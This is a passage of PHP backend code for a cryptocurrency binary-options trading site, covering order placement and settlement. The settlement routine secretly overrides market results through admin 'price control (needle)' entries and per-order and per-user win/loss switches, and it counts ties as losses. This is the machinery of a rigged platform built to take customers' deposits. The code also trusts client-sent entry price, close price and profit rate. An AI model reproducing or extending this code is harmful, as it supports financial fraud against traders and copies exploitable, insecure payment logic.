false, 'error' => 'Unauthorized']); exit; } // Check frozen status $stmt = $db->prepare("SELECT status FROM users WHERE id = ?"); $stmt->execute([$user_id]); if ($stmt->fetchColumn() === 'frozen') { echo json_encode(['success' => false, 'error' => 'Account frozen']); exit; } $action = $_POST['action'] ?? ''; if ($action === 'place_order') { $symbol = $_POST['symbol'] ?? 'BTC'; $amount = (float)$_POST['amount']; $duration = (int)$_POST['duration']; $direction = $_POST['direction']; // up/down $entry_price = (float)$_POST['entry_price']; $profit_rate = (int)$_POST['profit_rate']; if ($amount <= 0) { echo json_encode(['success' => false, 'error' => 'Invalid amount']); exit; } $db->beginTransaction(); try { // Check balance $stmt = $db->prepare("SELECT available FROM user_balances WHERE user_id = ? AND symbol = 'USDT'"); $stmt->execute([$user_id]); $bal = $stmt->fetchColumn(); if ($bal < $amount) { throw new Exception("Insufficient balance"); } // Deduct balance $db->prepare("UPDATE user_balances SET available = available - ? WHERE user_id = ? AND symbol = 'USDT'") ->execute([$amount, $user_id]); // Insert order $stmt = $db->prepare("INSERT INTO binary_orders (user_id, symbol, direction, amount, duration, entry_price, profit_rate, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', NOW())"); $stmt->execute([$user_id, $symbol, $direction, $amount, $duration, $entry_price, $profit_rate]); $order_id = $db->lastInsertId(); $db->commit(); echo json_encode(['success' => true, 'order_id' => $order_id]); } catch (Exception $e) { $db->rollBack(); echo json_encode(['success' => false, 'error' => $e->getMessage()]); } exit; } if ($action === 'settle_order') { $order_id = (int)$_POST['order_id']; $close_price = (float)$_POST['close_price']; $stmt = $db->prepare("SELECT o.*, u.win_loss_control as user_control FROM binary_orders o JOIN users u ON o.user_id = u.id WHERE o.id = ? AND o.user_id = ?"); $stmt->execute([$order_id, $user_id]); $order = $stmt->fetch(); if (!$order || $order['status'] !== 'pending') { echo json_encode(['success' => false, 'error' => 'Order not found or already settled']); exit; } // Determine result $result = ''; // won/lost // 0. Check for Price Control (Needle) $stmt = $db->prepare("SELECT target_price FROM price_controls WHERE symbol = ? AND execution_time <= NOW() AND DATE_ADD(execution_time, INTERVAL duration SECOND) >= NOW() LIMIT 1"); $stmt->execute([$order['symbol']]); $controlled_price = $stmt->fetchColumn(); if ($controlled_price) { $close_price = $controlled_price; } $is_up = $order['direction'] === 'up' || $order['direction'] === 'buy'; // 1. Check Order-level control if ($order['control_status'] == 1) $result = 'won'; elseif ($order['control_status'] == 2) $result = 'lost'; // 2. Check User-level control elseif ($order['user_control'] == 1) $result = 'won'; elseif ($order['user_control'] == 2) $result = 'lost'; // 3. Natural result else { if ($is_up) { $result = ($close_price > $order['entry_price']) ? 'won' : 'lost'; } else { $result = ($close_price < $order['entry_price']) ? 'won' : 'lost'; } // Handle Tie (usually loss in binary options, or can be refund) if ($close_price == $order['entry_price']) { $result = 'lost'; } } // Force "Control Loss means deducting the order amount" // This is already done by not returning the amount if lost. $db->beginTransaction(); try { $db->prepare("UPDATE binary_orders SET close_price = ?, status = ?, settled_at = NOW() WHERE id = ?") ->execute([$close_price, $result, $order_id]); if ($result === 'won') { $win_amount = $order['amount'] + ($order['amount'] * $order['profit_rate'] / 100); $db->prepare("UPDATE user_balances SET available = available + ? WHERE user_id = ? AND symbol = 'USDT'") ->execute([$win_amount, $user_id]); $db->prepare("INSERT INTO transactions (user_id, type, amount, symbol, status) VALUES (?, 'binary_win', ?, 'USDT', 'completed')") ->execute([$user_id, $win_amount]); } else { $db->prepare("INSERT INTO transactions (user_id, type, amount, symbol, status) VALUES (?, 'binary_loss', ?, 'USDT', 'completed')") ->execute([$user_id, $order['amount']]); } $db->commit(); $pnl = ($result === 'won') ? ($order['amount'] * $order['profit_rate'] / 100) : -$order['amount']; echo json_encode(['success' => true, 'result' => $result, 'pnl' => $pnl]); } catch (Exception $e) { $db->rollBack(); echo json_encode(['success' => false, 'error' => $e->getMessage()]); } exit; } echo json_encode(['success' => false, 'error' => 'Invalid action']);